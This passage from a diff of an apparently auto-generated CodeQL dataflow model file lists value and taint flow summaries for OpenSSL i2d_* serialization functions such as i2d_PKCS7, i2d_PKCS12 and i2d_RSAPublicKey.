**)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_WEEKS", "(const OSSL_TIME_SPEC_WEEKS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_WEEKS", "(const OSSL_TIME_SPEC_WEEKS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_X_DAY_OF", "(const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_X_DAY_OF", "(const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_X_DAY_OF", "(const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_X_DAY_OF", "(const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_USER_NOTICE_SYNTAX", "(const OSSL_USER_NOTICE_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_USER_NOTICE_SYNTAX", "(const OSSL_USER_NOTICE_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_USER_NOTICE_SYNTAX", "(const OSSL_USER_NOTICE_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_USER_NOTICE_SYNTAX", "(const OSSL_USER_NOTICE_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OTHERNAME", "(const OTHERNAME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OTHERNAME", "(const OTHERNAME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OTHERNAME", "(const OTHERNAME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OTHERNAME", "(const OTHERNAME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBE2PARAM", "(const PBE2PARAM *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PBE2PARAM", "(const PBE2PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBE2PARAM", "(const PBE2PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PBE2PARAM", "(const PBE2PARAM *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBEPARAM", "(const PBEPARAM *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PBEPARAM", "(const PBEPARAM *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBEPARAM", "(const PBEPARAM *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PBEPARAM", "(const PBEPARAM *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBKDF2PARAM", "(const PBKDF2PARAM *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PBKDF2PARAM", "(const PBKDF2PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBKDF2PARAM", "(const PBKDF2PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PBKDF2PARAM", "(const PBKDF2PARAM *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBMAC1PARAM", "(const PBMAC1PARAM *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PBMAC1PARAM", "(const PBMAC1PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBMAC1PARAM", "(const PBMAC1PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PBMAC1PARAM", "(const PBMAC1PARAM *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12", "(const PKCS12 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS12", "(const PKCS12 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12", "(const PKCS12 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12", "(const PKCS12 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_BAGS", "(const PKCS12_BAGS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS12_BAGS", "(const PKCS12_BAGS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_BAGS", "(const PKCS12_BAGS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_BAGS", "(const PKCS12_BAGS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_MAC_DATA", "(const PKCS12_MAC_DATA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS12_MAC_DATA", "(const PKCS12_MAC_DATA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_MAC_DATA", "(const PKCS12_MAC_DATA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_MAC_DATA", "(const PKCS12_MAC_DATA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_SAFEBAG", "(const PKCS12_SAFEBAG *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS12_SAFEBAG", "(const PKCS12_SAFEBAG *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_SAFEBAG", "(const PKCS12_SAFEBAG *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_SAFEBAG", "(const PKCS12_SAFEBAG *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_bio", "(BIO *,const PKCS12 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_fp", "(FILE *,const PKCS12 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7", "(const PKCS7 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7", "(const PKCS7 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7", "(const PKCS7 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7", "(const PKCS7 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_DIGEST", "(const PKCS7_DIGEST *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_DIGEST", "(const PKCS7_DIGEST *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_DIGEST", "(const PKCS7_DIGEST *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_DIGEST", "(const PKCS7_DIGEST *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENCRYPT", "(const PKCS7_ENCRYPT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_ENCRYPT", "(const PKCS7_ENCRYPT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENCRYPT", "(const PKCS7_ENCRYPT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENCRYPT", "(const PKCS7_ENCRYPT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENC_CONTENT", "(const PKCS7_ENC_CONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_ENC_CONTENT", "(const PKCS7_ENC_CONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENC_CONTENT", "(const PKCS7_ENC_CONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENC_CONTENT", "(const PKCS7_ENC_CONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENVELOPE", "(const PKCS7_ENVELOPE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_ENVELOPE", "(const PKCS7_ENVELOPE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENVELOPE", "(const PKCS7_ENVELOPE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENVELOPE", "(const PKCS7_ENVELOPE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ISSUER_AND_SERIAL", "(const PKCS7_ISSUER_AND_SERIAL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_ISSUER_AND_SERIAL", "(const PKCS7_ISSUER_AND_SERIAL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ISSUER_AND_SERIAL", "(const PKCS7_ISSUER_AND_SERIAL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ISSUER_AND_SERIAL", "(const PKCS7_ISSUER_AND_SERIAL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_NDEF", "(const PKCS7 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_NDEF", "(const PKCS7 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_NDEF", "(const PKCS7 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_NDEF", "(const PKCS7 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_RECIP_INFO", "(const PKCS7_RECIP_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_RECIP_INFO", "(const PKCS7_RECIP_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_RECIP_INFO", "(const PKCS7_RECIP_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_RECIP_INFO", "(const PKCS7_RECIP_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNED", "(const PKCS7_SIGNED *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_SIGNED", "(const PKCS7_SIGNED *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNED", "(const PKCS7_SIGNED *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNED", "(const PKCS7_SIGNED *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNER_INFO", "(const PKCS7_SIGNER_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_SIGNER_INFO", "(const PKCS7_SIGNER_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNER_INFO", "(const PKCS7_SIGNER_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNER_INFO", "(const PKCS7_SIGNER_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGN_ENVELOPE", "(const PKCS7_SIGN_ENVELOPE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_SIGN_ENVELOPE", "(const PKCS7_SIGN_ENVELOPE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGN_ENVELOPE", "(const PKCS7_SIGN_ENVELOPE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGN_ENVELOPE", "(const PKCS7_SIGN_ENVELOPE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_bio", "(BIO *,const PKCS7 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_bio_stream", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_bio_stream", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_bio_stream", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_fp", "(FILE *,const PKCS7 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_bio", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_bio", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_fp", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_fp", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_nid_bio", "(BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_nid_bio", "(BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_nid_fp", "(FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_nid_fp", "(FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8_PRIV_KEY_INFO", "(const PKCS8_PRIV_KEY_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS8_PRIV_KEY_INFO", "(const PKCS8_PRIV_KEY_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS8_PRIV_KEY_INFO", "(const PKCS8_PRIV_KEY_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS8_PRIV_KEY_INFO", "(const PKCS8_PRIV_KEY_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKEY_USAGE_PERIOD", "(const PKEY_USAGE_PERIOD *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKEY_USAGE_PERIOD", "(const PKEY_USAGE_PERIOD *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKEY_USAGE_PERIOD", "(const PKEY_USAGE_PERIOD *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKEY_USAGE_PERIOD", "(const PKEY_USAGE_PERIOD *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYINFO", "(const POLICYINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_POLICYINFO", "(const POLICYINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYINFO", "(const POLICYINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYINFO", "(const POLICYINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYQUALINFO", "(const POLICYQUALINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_POLICYQUALINFO", "(const POLICYQUALINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYQUALINFO", "(const POLICYQUALINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYQUALINFO", "(const POLICYQUALINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROFESSION_INFO", "(const PROFESSION_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PROFESSION_INFO", "(const PROFESSION_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROFESSION_INFO", "(const PROFESSION_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PROFESSION_INFO", "(const PROFESSION_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_CERT_INFO_EXTENSION", "(const PROXY_CERT_INFO_EXTENSION *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PROXY_CERT_INFO_EXTENSION", "(const PROXY_CERT_INFO_EXTENSION *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_CERT_INFO_EXTENSION", "(const PROXY_CERT_INFO_EXTENSION *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_CERT_INFO_EXTENSION", "(const PROXY_CERT_INFO_EXTENSION *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_POLICY", "(const PROXY_POLICY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PROXY_POLICY", "(const PROXY_POLICY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_POLICY", "(const PROXY_POLICY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_POLICY", "(const PROXY_POLICY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PUBKEY", "(const EVP_PKEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PUBKEY", "(const EVP_PKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1].Field[**data].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "i2d_PUBKEY", "(const EVP_PKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "i2d_PUBKEY", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PUBKEY", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PublicKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PublicKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PublicKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_RSAPrivateKey", "(const RSA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_RSAPrivateKey", "(const RSA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPrivateKey", "(const RSA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPrivateKey", "(const RSA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPrivateKey_bio", "(BIO *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPrivateKey_fp", "(FILE *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPublicKey", "(const RSA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_RSAPublicKey", "(const RSA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPublicKey", "(const RSA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPublicKey", "(const RSA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPublicKey_bio", "(BIO *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPublicKey_fp", "(FILE *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_OAEP_PARAMS", "(const RSA_OAEP_PARAMS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_RSA_OAEP_PARAMS", "(const RSA_OAEP_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_OAEP_PARAMS", "(const RSA_OAEP_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_OAEP_PARAMS", "(const RSA_OAEP_PARAMS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_PSS_PARAMS", "(const RSA_PSS_PARAMS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_RSA_PSS_PARAMS", "(const RSA_PSS_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_PSS_PARAMS", "(const RSA_PSS_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_PSS_PARAMS", "(const RSA_PSS_PARAMS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_PUBKEY", "(const RSA *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_RSA_PUBKEY", "(const RSA *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_RSA_PUBKEY", "(const RSA *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_RSA_PUBKEY_fp", "(FILE *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_SCRYPT_PARAMS", "(const SCRYPT_PARAMS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_SCRYPT_PARAMS", "(const SCRYPT_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SCRYPT_PARAMS", "(const SCRYPT_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_SCRYPT_PARAMS", "(const SCRYPT_PARAMS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SM2_Ciphertext", "(const SM2_Ciphertext *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_SM2_Ciphertext", "(const SM2_Ciphertext *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, 